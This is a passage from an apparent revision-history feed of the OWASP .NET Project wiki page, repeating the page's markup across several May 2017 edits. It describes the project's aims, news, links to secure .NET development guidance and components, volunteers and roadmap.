* [[Java|Java and JVM]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core&lt;br /&gt;
* [Jan 2016] Added the Two Factor Authentication component&lt;br /&gt;
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!&lt;br /&gt;
* [Jan 2015] Three completed articles, and four in progress&lt;br /&gt;
* [Oct 2014] Promoted our first guidance article from Draft&lt;br /&gt;
* [Sep 2014] AppSec USA .NET Project Summit&lt;br /&gt;
* [Mar 2014] Project roadmap&lt;br /&gt;
* [Feb 2014] Project reboot&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Resources=&lt;br /&gt;
&lt;br /&gt;
The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.&lt;br /&gt;
&lt;br /&gt;
== Detailed Guidance ==&lt;br /&gt;
The following articles describe specific guidance for working with the .NET Framework.&lt;br /&gt;
&lt;br /&gt;
* The [[.NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing]]&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
* [[Using Rfc2898DeriveBytes for PBKDF2]]&lt;br /&gt;
* [[Anti CSRF Tokens ASP.NET]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
== Security Guidance ==&lt;br /&gt;
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing| .NET Penetration Testing]]&lt;br /&gt;
&lt;br /&gt;
The following sections include specific guidance for particular technological problems related to .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]&lt;br /&gt;
* [[.Net CSRF Guard]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]&lt;br /&gt;
* [[.NET AntiXSS Library]]&lt;br /&gt;
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]&lt;br /&gt;
&lt;br /&gt;
== Recommended Resources ==&lt;br /&gt;
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:&lt;br /&gt;
&lt;br /&gt;
; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]&lt;br /&gt;
&lt;br /&gt;
== Active Projects ==&lt;br /&gt;
; [[OWASP .NET Active Projects]]&lt;br /&gt;
&lt;br /&gt;
== Research Projects ==&lt;br /&gt;
; [[OWASP .NET Research]]&lt;br /&gt;
&lt;br /&gt;
=Joining the Project=&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
==Project Roadmap==&lt;br /&gt;
The project's high level roadmap can be found at the [[OWASP .Net Project Roadmap]]&lt;br /&gt;
* Please submit your ideas for articles, content and general feedback to the [[.NET Project Wishlist]].&lt;br /&gt;
* If you'd like to contribute:&lt;br /&gt;
# visit the [[Tutorial]], &lt;br /&gt;
# and pick a topic from the [[.NET Project Wishlist]] or suggest a new topic&lt;br /&gt;
# or check out our active projects list, [[OWASP .NET Active Projects]], and join one today.&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Remember to add the tag: &amp;lt;nowiki&amp;gt;[[Category:OWASP .NET Project]]&amp;lt;/nowiki&amp;gt; to the end of new articles so that they're properly categorized.'''&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
=Project Tracker=&lt;br /&gt;
==Timeline==&lt;br /&gt;
* January 2016 - Added the Two Factor Authentication component&lt;br /&gt;
* January 2015 - Three more completed articles, and four in progress&lt;br /&gt;
* November 2014 - Four completed articles, six in process.&lt;br /&gt;
* September 2014 - AppSec USA &lt;br /&gt;
* March 2014 - Project Roadmap&lt;br /&gt;
* February - 2014 Project Reboot&lt;br /&gt;
* May 2009 - Updated tabs, added content recommended by Andre Gironda&lt;br /&gt;
* March 2009 - Converted to new tab format, added Project Tracker tab&lt;br /&gt;
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
==Questions and answers==&lt;br /&gt;
; Q1: Why are there so many empty projects?&lt;br /&gt;
; A1: Because YOU haven't worked on them! We need your help!&lt;br /&gt;
&lt;br /&gt;
; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!&lt;br /&gt;
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
; Q3: Where are the .NET specific security tools.&lt;br /&gt;
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.&lt;br /&gt;
&lt;br /&gt;
=Volunteers=&lt;br /&gt;
&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
&lt;br /&gt;
==Already involved==&lt;br /&gt;
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:&lt;br /&gt;
&lt;br /&gt;
* Kevin Basista&lt;br /&gt;
* Brice Williams&lt;br /&gt;
* Marion Nepomuceno&lt;br /&gt;
* Dan Wilson&lt;br /&gt;
* Jess Vermont&lt;br /&gt;
* Jeff Knutson&lt;br /&gt;
* Robert Ginsburg&lt;br /&gt;
* Kyle Johnson&lt;br /&gt;
* Troy Hunt &lt;br /&gt;
* Dinis Cruz&lt;br /&gt;
* Shamir Charania&lt;br /&gt;
* Mohammed Al-Taweel&lt;br /&gt;
* Daniel Brzozowski&lt;br /&gt;
* Lachlan Barclay&lt;br /&gt;
* Bill Sempf&lt;br /&gt;
* Barry Dorrans (Microsoft)&lt;br /&gt;
* Reid Borsuk (Microsoft)&lt;br /&gt;
&lt;br /&gt;
We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to  exploit. &lt;br /&gt;
&lt;br /&gt;
The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.&lt;br /&gt;
&lt;br /&gt;
== Themes ==&lt;br /&gt;
The themes of the .NET Project include:&lt;br /&gt;
* Deep, rich guidance for .NET developers using the security features of .NET&lt;br /&gt;
* Access to use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Features ==&lt;br /&gt;
&lt;br /&gt;
Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.&lt;br /&gt;
&lt;br /&gt;
=== Guidance ===&lt;br /&gt;
&lt;br /&gt;
Guidance is documentation that assists .NET developers implementing the security features of the framework.&lt;br /&gt;
&lt;br /&gt;
==== In-process guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[Windows Identity Foundation]]&lt;br /&gt;
* [[.NET Memory Management]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
==== Needed guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[ASP.NET Identity]]&lt;br /&gt;
* [[DPAPI]]&lt;br /&gt;
* [[ClickOnce Deployment]]&lt;br /&gt;
* [[.NET Callbacks - Vulnerabilities and Remediation]]&lt;br /&gt;
* [[Dependency Injection]]&lt;br /&gt;
* [[IoC containers]]&lt;br /&gt;
* [[Preventing SQL Injection in ADO.NET]]&lt;br /&gt;
* [[Authenticated Symmetric Encryption in .NET]]&lt;br /&gt;
&lt;br /&gt;
=== Components === &lt;br /&gt;
&lt;br /&gt;
Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.&lt;br /&gt;
&lt;br /&gt;
==== Needed Components ====&lt;br /&gt;
&lt;br /&gt;
Please suggest needed components.&lt;br /&gt;
&lt;br /&gt;
=== Projects that use .NET ===&lt;br /&gt;
&lt;br /&gt;
These are projects that happen to be built in .NET. Many of them could use .NET development assistance:&lt;br /&gt;
&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]&lt;br /&gt;
&lt;br /&gt;
== Ideas ==&lt;br /&gt;
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP .NET Project&lt;br /&gt;
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.&lt;br /&gt;
| project_license =CC-BY 3.0 for documentation and GPLv3 for code. &lt;br /&gt;
| project_home_page = &lt;br /&gt;
| leader_name1 = Bill Sempf&lt;br /&gt;
| leader_email1 =&lt;br /&gt;
| leader_username1 = Bill_Sempf&lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = owasp-dotnet&lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=230043</id>
		<title>Category:OWASP .NET Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=230043"/>
				<updated>2017-05-26T02:43:53Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Working on the dates.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==OWASP .NET Project==&lt;br /&gt;
&lt;br /&gt;
The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.&lt;br /&gt;
&lt;br /&gt;
The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is the OWASP .NET Project? ==&lt;br /&gt;
&lt;br /&gt;
* Deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[Java|Java and JVM]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core&lt;br /&gt;
* [30 Jan 2016] Added the Two Factor Authentication component&lt;br /&gt;
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!&lt;br /&gt;
* [Jan 2015] Three completed articles, and four in progress&lt;br /&gt;
* [Oct 2014] Promoted our first guidance article from Draft&lt;br /&gt;
* [Sep 2014] AppSec USA .NET Project Summit&lt;br /&gt;
* [Mar 2014] Project roadmap&lt;br /&gt;
* [Feb 2014] Project reboot&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Resources=&lt;br /&gt;
&lt;br /&gt;
The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.&lt;br /&gt;
&lt;br /&gt;
== Detailed Guidance ==&lt;br /&gt;
The following articles describe specific guidance for working with the .NET Framework.&lt;br /&gt;
&lt;br /&gt;
* The [[.NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing]]&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
* [[Using Rfc2898DeriveBytes for PBKDF2]]&lt;br /&gt;
* [[Anti CSRF Tokens ASP.NET]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
== Security Guidance ==&lt;br /&gt;
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing| .NET Penetration Testing]]&lt;br /&gt;
&lt;br /&gt;
The following sections include specific guidance for particular technological problems related to .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]&lt;br /&gt;
* [[.Net CSRF Guard]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]&lt;br /&gt;
* [[.NET AntiXSS Library]]&lt;br /&gt;
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]&lt;br /&gt;
&lt;br /&gt;
== Recommended Resources ==&lt;br /&gt;
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:&lt;br /&gt;
&lt;br /&gt;
; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]&lt;br /&gt;
&lt;br /&gt;
== Active Projects ==&lt;br /&gt;
; [[OWASP .NET Active Projects]]&lt;br /&gt;
&lt;br /&gt;
== Research Projects ==&lt;br /&gt;
; [[OWASP .NET Research]]&lt;br /&gt;
&lt;br /&gt;
=Joining the Project=&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
==Project Roadmap==&lt;br /&gt;
The project's high level roadmap can be found at the [[OWASP .Net Project Roadmap]]&lt;br /&gt;
* Please submit your ideas for articles, content and general feedback to the [[.NET Project Wishlist]].&lt;br /&gt;
* If you'd like to contribute:&lt;br /&gt;
# visit the [[Tutorial]], &lt;br /&gt;
# and pick a topic from the [[.NET Project Wishlist]] or suggest a new topic&lt;br /&gt;
# or check out our active projects list, [[OWASP .NET Active Projects]], and join one today.&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Remember to add the tag: &amp;lt;nowiki&amp;gt;[[Category:OWASP .NET Project]]&amp;lt;/nowiki&amp;gt; to the end of new articles so that they're properly categorized.'''&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
=Project Tracker=&lt;br /&gt;
==Timeline==&lt;br /&gt;
* January 2016 - Added the Two Factor Authentication component&lt;br /&gt;
* January 2015 - Three more completed articles, and four in progress&lt;br /&gt;
* November 2014 - Four completed articles, six in process.&lt;br /&gt;
* September 2014 - AppSec USA &lt;br /&gt;
* March 2014 - Project Roadmap&lt;br /&gt;
* February - 2014 Project Reboot&lt;br /&gt;
* May 2009 - Updated tabs, added content recommended by Andre Gironda&lt;br /&gt;
* March 2009 - Converted to new tab format, added Project Tracker tab&lt;br /&gt;
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
==Questions and answers==&lt;br /&gt;
; Q1: Why are there so many empty projects?&lt;br /&gt;
; A1: Because YOU haven't worked on them! We need your help!&lt;br /&gt;
&lt;br /&gt;
; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!&lt;br /&gt;
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
; Q3: Where are the .NET specific security tools.&lt;br /&gt;
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.&lt;br /&gt;
&lt;br /&gt;
=Volunteers=&lt;br /&gt;
&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
&lt;br /&gt;
==Already involved==&lt;br /&gt;
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:&lt;br /&gt;
&lt;br /&gt;
* Kevin Basista&lt;br /&gt;
* Brice Williams&lt;br /&gt;
* Marion Nepomuceno&lt;br /&gt;
* Dan Wilson&lt;br /&gt;
* Jess Vermont&lt;br /&gt;
* Jeff Knutson&lt;br /&gt;
* Robert Ginsburg&lt;br /&gt;
* Kyle Johnson&lt;br /&gt;
* Troy Hunt &lt;br /&gt;
* Dinis Cruz&lt;br /&gt;
* Shamir Charania&lt;br /&gt;
* Mohammed Al-Taweel&lt;br /&gt;
* Daniel Brzozowski&lt;br /&gt;
* Lachlan Barclay&lt;br /&gt;
* Bill Sempf&lt;br /&gt;
* Barry Dorrans (Microsoft)&lt;br /&gt;
* Reid Borsuk (Microsoft)&lt;br /&gt;
&lt;br /&gt;
We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to  exploit. &lt;br /&gt;
&lt;br /&gt;
The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.&lt;br /&gt;
&lt;br /&gt;
== Themes ==&lt;br /&gt;
The themes of the .NET Project include:&lt;br /&gt;
* Deep, rich guidance for .NET developers using the security features of .NET&lt;br /&gt;
* Access to use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Features ==&lt;br /&gt;
&lt;br /&gt;
Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.&lt;br /&gt;
&lt;br /&gt;
=== Guidance ===&lt;br /&gt;
&lt;br /&gt;
Guidance is documentation that assists .NET developers implementing the security features of the framework.&lt;br /&gt;
&lt;br /&gt;
==== In-process guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[Windows Identity Foundation]]&lt;br /&gt;
* [[.NET Memory Management]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
==== Needed guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[ASP.NET Identity]]&lt;br /&gt;
* [[DPAPI]]&lt;br /&gt;
* [[ClickOnce Deployment]]&lt;br /&gt;
* [[.NET Callbacks - Vulnerabilities and Remediation]]&lt;br /&gt;
* [[Dependency Injection]]&lt;br /&gt;
* [[IoC containers]]&lt;br /&gt;
* [[Preventing SQL Injection in ADO.NET]]&lt;br /&gt;
* [[Authenticated Symmetric Encryption in .NET]]&lt;br /&gt;
&lt;br /&gt;
=== Components === &lt;br /&gt;
&lt;br /&gt;
Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.&lt;br /&gt;
&lt;br /&gt;
==== Needed Components ====&lt;br /&gt;
&lt;br /&gt;
Please suggest needed components.&lt;br /&gt;
&lt;br /&gt;
=== Projects that use .NET ===&lt;br /&gt;
&lt;br /&gt;
These are projects that happen to be built in .NET. Many of them could use .NET development assistance:&lt;br /&gt;
&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]&lt;br /&gt;
&lt;br /&gt;
== Ideas ==&lt;br /&gt;
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP .NET Project&lt;br /&gt;
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.&lt;br /&gt;
| project_license =CC-BY 3.0 for documentation and GPLv3 for code. &lt;br /&gt;
| project_home_page = &lt;br /&gt;
| leader_name1 = Bill Sempf&lt;br /&gt;
| leader_email1 =&lt;br /&gt;
| leader_username1 = Bill_Sempf&lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = owasp-dotnet&lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=230042</id>
		<title>Category:OWASP .NET Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=230042"/>
				<updated>2017-05-26T02:43:13Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Updated the events&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==OWASP .NET Project==&lt;br /&gt;
&lt;br /&gt;
The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.&lt;br /&gt;
&lt;br /&gt;
The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.&lt;br /&gt;
&lt;br /&gt;
